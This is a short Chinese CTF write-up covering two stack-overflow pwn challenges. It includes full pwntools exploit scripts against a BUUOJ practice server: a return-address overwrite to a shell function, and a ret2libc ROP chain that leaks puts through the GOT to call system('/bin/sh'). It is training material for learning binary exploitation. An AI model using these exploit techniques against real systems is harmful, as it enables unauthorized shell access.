[第六章 CTF之PWN章]stack
拿到手checksec一下,看看保护
64位,开启了NX保护,打开IDA看看
可以看到gets函数,明显的栈溢出漏洞,并且还有system(“/bin/sh”),直接编写exp
exp:
from pwn import *
io=remote('node4.buuoj.cn',28487)
shell=0x40053B
payload = b'a'*(0xa+8)#偏移为0xa,再加上覆盖rbp(64位需要加8)
payload += p64(shell)
io.sendline(payload)
io.interactive()
[第六章 CTF之PWN章]ROP
还是切克一下看保护
64位,打开IDA看看
可见还是简单的栈溢出,与上题不同的是没有system函数和字符串“/bin/sh”了,所以需要构造链去泄露函数地址
利用工具寻找存放参数寄存器地址从而构造ROP链
exp:
from pwn import *
from LibcSearcher import *
io=remote('node4.buuoj.cn',25137)
#io=process('./rop')
elf = ELF('./rop')
libc=elf.libc
#libc=ELF('./libc-2.271.so')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
pop_rdi=0x4005d3
payload=b'a'*(0xa+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.recvuntil("hello")
io.sendline(payload)
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
sys_addr=libc_base + libc.symbols['system']
bin_sh = next(libc.search(b"/bin/sh"),) + libc_base
payload=b'a'*(0xa+8)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
io.recvuntil("hello")
io.sendline(payload)
io.interactive()